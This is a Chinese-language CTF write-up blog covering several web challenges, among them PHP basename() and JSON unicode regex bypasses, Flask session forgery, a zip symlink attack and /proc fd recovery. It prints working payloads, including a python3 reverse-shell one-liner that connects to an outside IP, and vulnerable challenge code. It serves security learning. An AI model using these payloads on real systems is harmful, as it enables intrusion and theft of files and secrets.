if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

这种算法产生的随机数,并且用hash_equals()进行比较,感觉爆破没戏了,,其实本题目中这个随机数就是一个障眼法,真正的突破点就在basename()函数上。

正则会对URL进行匹配,如果URL以[config.php加上任意数量个/符号]结尾,则会直接退出程序,比如:

image-20200716171430171

一般来说,这种正则可以利用index.php/config.php/a来进行绕过,但是这样的payload经过basename()函数处理之后就会得到a,无法获得config.php的源码。

这时候利用上文提到过的basename()会忽略%80~%ff之间的字符这一特点,传入payloadindex.php/config.php/%80这样经过basename()解析之后得到结果仍然是config.php,同时也绕过了正则的匹配。

image-20200716172011838

# encode and encode

考点:

  • json格式数据的unicode编码绕过
  • file_get_contents()触发php伪协议

json数据unicode编码参考文章:在这里

题目直接给了源码(已经对某些关键部分进行注释):

<?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');  //接受我们传入的数据流
$json = json_decode($body, true);  //对传入的参数进行json格式的解码并转化为数组
// is_valid()函数禁用了常用的伪协议和flag关键字
// 所以我们传入的字符串应该是json格式
if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

程序会对我们传入的数据流进行json格式的解码,但是is_valid()函数却是仍然使用的解码之前的数据进行正则匹配,这就导致我们可以利用json格式数据中的unicode编码来绕过正则的匹配,在经过解码之后,数据仍然为正常的字符串。

下面是一个小小的测试:

image-20200717225834003

这样一来,我们就可以把关键字进行json格式的unicode编码,这样既绕过了正则匹配,同时又不影响数据的正常解析:

{"page" : "\u0070\u0068\u0070://filter/read=convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
1
image-20200717230229708 image-20200717230317136

# [SWPU2019]Web3

考点:

  • flask session伪造
  • 软链接攻击
  • 代码审计

进入题目是登录框,这里任意账号密码登录即可,登录后有一个上传文件的按钮,但是我们却没有权限

image-20200718232329210

image-20200718232322083

没权限,结合题目的网站名称"CTF-Flask-Demo",盲猜一波Flask session伪造。

  • Flask的session是存放在客户端的,一旦secret_key泄露,就会导致session伪造

看一下cookie:

image-20200719071417557

下面找一下secret_key

  • 一般来说,CTF中涉及Flask session伪造的题目都会给出secret_key,一般会出现在在题目泄露的源码中、robots.txt中、响应头中。

看一下robots.txt,返回404

image-20200718232918985

再看一下响应头,发现了可疑的信息

image-20200718233038897

base64解码一下,拿到secret_key

image-20200718233121423

下面用工具开始解码和伪造:flask session编码解码工具github项目地址

image-20200719071354283

解码之后的结果:

{'id': b'100', 'is_login': True, 'password': b'admin', 'username': b'admin'}
1

既然账号密码全都是admin还没有权限的话,这里我猜应该是改id

{'id': b'1', 'is_login': True, 'password': b'admin', 'username': b'admin'}
1

进行编码

image-20200719071658065

编码之后的结果:

.eJyrVspMUbKqVlJIUrJS8g20tVWq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PL0IojAwPKkkMNwErLi1OLcpLzE3FIlkLAF55HTM.XxOCxQ.Kt2NK_KSt2lT5nZL3BOpgIfEja8
1

改一下cookie,可以上传文件了

image-20200719071756122

查看网页源代码可以拿到文件上传部分的源码,源码如下(部分关键位置已经做了注释)

# 路由1/upload get post方法获取参数
@app.route('/upload',methods=['GET','POST'])
def upload():
    if session['id'] != b'1':
        return render_template_string(temp)
    if request.method=='POST':
        m = hashlib.md5()
        name = session['password']
        name = name+'qweqweqwe'
        name = name.encode(encoding='utf-8')
        m.update(name)
        md5_one= m.hexdigest()
        n = hashlib.md5()
        ip = request.remote_addr
        ip = ip.encode(encoding='utf-8')
        n.update(ip)
        md5_ip = n.hexdigest()
        f=request.files['file']
        basepath=os.path.dirname(os.path.realpath(__file__))
        path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
        path_base = basepath+'/upload/'+md5_ip+'/'
        filename = f.filename
        pathname = path + filename
        #只能上传zip文件
        if "zip" != filename.split('.')[-1]:
            return 'zip only allowed'
        if not os.path.exists(path_base):
            try:
                os.makedirs(path_base)
            except Exception as e:
                return 'error'
        if not os.path.exists(path):
            try:
                os.makedirs(path)
            except Exception as e:
                return 'error'
        if not os.path.exists(pathname):
            try:
                f.save(pathname)
            except Exception as e:
                return 'error'
        try:
            #unzip命令用于解压zip文件
            #-n 解压缩时不要覆盖原有的文件
            #-d<目录> 指定文件解压缩后所要存储的目录。
            #cmd是解压之后文件的内容
            cmd = "unzip -n -d "+path+" "+ pathname
            if cmd.find('|') != -1 or cmd.find(';') != -1:
				waf()
                return 'error'
            #直接执行cmd命令 解压该文件
            os.system(cmd)
        except Exception as e:
            return 'error'
        #zipfile.ZipFile   'r' 表示打开一个存在的只读zip文件,这里的filename参数就是我们上传的zip文件的路径
        #只读的方式打开上传的zip文件
        unzip_file = zipfile.ZipFile(pathname, 'r')
        #unzip_file是之前打开的文件 .namelist()返回zip文件中的文件列表
        #拿到zip文件里的第一个文件名赋值给unzip_filename
        unzip_filename = unzip_file.namelist()[0]
        if session['is_login'] != True:
            return 'not login'
        try:
            #过滤了'/'
            if unzip_filename.find('/') != -1:
                shutil.rmtree(path_base)
                os.mkdir(path_base)
                return 'error'
            #这里的逻辑应该是拿到zip文件中的第一个文件,读取该文件并返回
            #正常情况下zip文件中是一个图片的话会正常返回
            #软连接攻击
            #创建一个./flag/flag.jpg的软连接 让下面代码引用并返回
            #利用open()函数来打开我们创造的软链接,并返回flag.jpg的内容
            image = open(path+unzip_filename, "rb").read()
            resp = make_response(image)
            resp.headers['Content-Type'] = 'image/png'
            return resp
        except Exception as e:
            shutil.rmtree(path_base)
            os.mkdir(path_base)
            return 'error'
    return render_template('upload.html')


@app.route('/showflag')
def showflag():
    if True == False:
        image = open(os.path.join('./flag/flag.jpg'), "rb").read()
        resp = make_response(image)
        resp.headers['Content-Type'] = 'image/png'
        return resp
    else:
        return "can't give you"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94

软链接攻击

ln -s /proc/self/cwd/flag/flag.jpg 123
// flag.jpg再当前flask目录下的flag目录下,想要读取到flag.jpg,我们必须知道flask的运行目录在哪里
// /proc/self记录系统运行的信息,cwd记录当前进程运行目录的一个符号链接,/proc/self/cwd就记录了当前flask运行目录
// ln -s xxx 123 :将123作为指向xxx的软链接

zip -ry 123.zip 123
// zip -y : 直接保存符号连接,而非该连接所指向的文件。
1
2
3
4
5
6
7

image-20200719073112191

将我们得到的zip文件上传,在bp中即可拿到flag

image-20200719073447920

# Cookie Store

考点:

  • session伪造

100块钱买flag,我们只有50块钱,看了一下cookie,直接base64解码改一下钱,然后再改一下cookie就可以了

image-20200719103844429

image-20200719103912179

# Avatar Uploader 1

考点:

  • getimagesize()和finfo_file()的执行差异

题目直接给了源码,关键部分代码如下:

//upload.php

<?php
error_reporting(0);

require_once('config.php');
require_once('util.php');
require_once('session.php');

$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);

// check whether file is uploaded
if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) {
  error('No file was uploaded.');
}

// check file size
if ($_FILES['file']['size'] > 256000) {
  error('Uploaded file is too large.');
}

// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
  error('Uploaded file is not PNG format.');
}

// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
  error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
  // I hope this never happens...
  error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}

// ok
$filename = bin2hex(random_bytes) . '.png';
move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_DIR . '/' . $filename);

$session->set('avatar', $filename);
flash('info', 'Your avatar has been successfully updated!');
redirect('/');
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

上传一个图片,分别用finfo_file()和getimagesize()进行两次检测,第一层的finfo_file()检测文件的mime类型必须是image/png,第二层的imagesize()检测如果文件的后缀名不是png就会给出flag。

两次检测看似矛盾,但是可以利用两个函数的执行差异来进行绕过:

image-20200720213013305

对于这种在十六进制查看器中的只有一行的PNG文件,使用finfo_file()函数会检测出mime类型为image/png,但是getimagesize()函数却无法检测其类型,本地测试如下:

image-20200720213447062

上传该文件,拿到flag:

image-20200720213818562

Tips:

  • 这两个函数对于文件后缀名的检测都是基于文件十六进制内容的检测,所以一个正常的png文件单纯修改文件名是无法进行绕过的,本地测试如下:

image-20200720213739229

可以看到,尽管修改之后的文件后缀名为jpg,但是经过函数处理之后的mime类型仍然是image/png。

# [CISCN2019 华东南赛区]Web4

考点:

  • flask session伪造
  • Linux系统知识
  • 任意文件读取
  • 伪随机数

进入题目,点击Read somethings:

image-20200727210152300

看路由很像flask,并且存在url参数,可能造成任意文件读取,用local_file://协议读一下:

image-20200727210350494

读取成功,另外在python3下local_file://协议可以省略,直接写文件名可以可以读取的。

读一下源码:

image-20200727210622961

源码如下:

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

在flag路由下,只有session中的username = fuck,才可以得到flag,估计又是考flask的session伪造。

老套路,看一下有无泄漏secret_key:

image-20200727210827575

  • uuid.getnode():获取当前系统的MAC地址,返回值是十进制

以MAC地址作为随机数的种子,既然随机数的种子是固定的,那么生成的随机数也是有规律的,所以secret_key是可以得出来的。

  • Linux的MAC地址存储位置:/sys/class/net/eth0/address

读一下MAC地址:

image-20200727211129851

  • 十六进制:02:42:ae:02:89:3c -> 0x0242ae02893c

  • 对应十进制:2485410498876

写脚本来获取随机数(py2环境):

image-20200727211938423

利用得到的随机数来解码session:

image-20200727212021464

再伪造seesion:

image-20200727212148684

改一下cookie,拿到flag:

image-20200727212207683

# PYWebsite

考点:

  • XFF头IP伪造

买flag发现要授权码,F12一下发现授权码是前端验证的,验证成功之后会跳转到./flag.php

image-20200730145534334

那我们就手动跳转吧2333

image-20200730145630326

记录了购买者和自己的IP,很明显的XFF头伪造题目了,直接伪造127.0.0.1就能拿到flag

image-20200730145753180

# [V&N2020 公开赛]CHECKIN

考点:

  • Linux恢复误删文件
  • python反弹shell

**知识点:在Linux系统下,如果打开了一个文件没有关闭的话,即使将文件删除,也可以在/proc/[pid]/fd/这个目录下看到该文件的内容。**其实,/proc/pid/fd/这个目录包含了进程打开文件的文件描述符,这些描述符是指向实际文件的符号链接。具体可以参考这篇文章:Linux恢复误删除的文件或者目录

题目直接给了源码

from flask import Flask, request
import os

app = Flask(__name__)

flag_file = open("flag.txt", "r")

# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
#     return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get('c')
    os.system(exec_cmd)
    return "1"


@app.route('/')
def source():
    return open("app.py", "r").read()


if __name__ == "__main__":
    app.run(host='0.0.0.0')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

题目告诉我们flag在flag.txt中,在/shell路由下存在执行系统命令的功能,但是只会回显1,并且每次进入该路由下都会将flag.txt删除。

但是题目是在没有将flag.txt关闭的情况下直接删除的,结合我们在一开始就说的知识点,可以进行反弹shell,然后去/proc/[pid]/fd/这个目录下找到flag.txt的符号链接,通过cat该符号链接,就能得到flag.txt的内容。

用小号在BUUOJ的Basic分区开一台Linux主机,用ssh远程登录

ssh -p 28624 root@node3.buuoj.cn

image-20200803173817343

查看ip地址并监听2333端口

image-20200803174113282

在/shell路由下反弹shell,由于是flask框架,考虑使用python反弹shell,payload如下:

/shell?c=python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('174.2.189.144',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
1

反弹shell成功

image-20200803174943180

在/prco/[pid]/fd/目录下寻找flag

image-20200803175207894

#WP
最近更新
01
谈一谈Java动态加载字节码的方式
12-18
02
Fastjson反序列化(2)-TemplatesImpl利用链
12-01
03
Fastjson反序列化(1)-初探利用方式
11-30
更多文章>
Theme by Vdoing | Copyright © 2019-2021
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式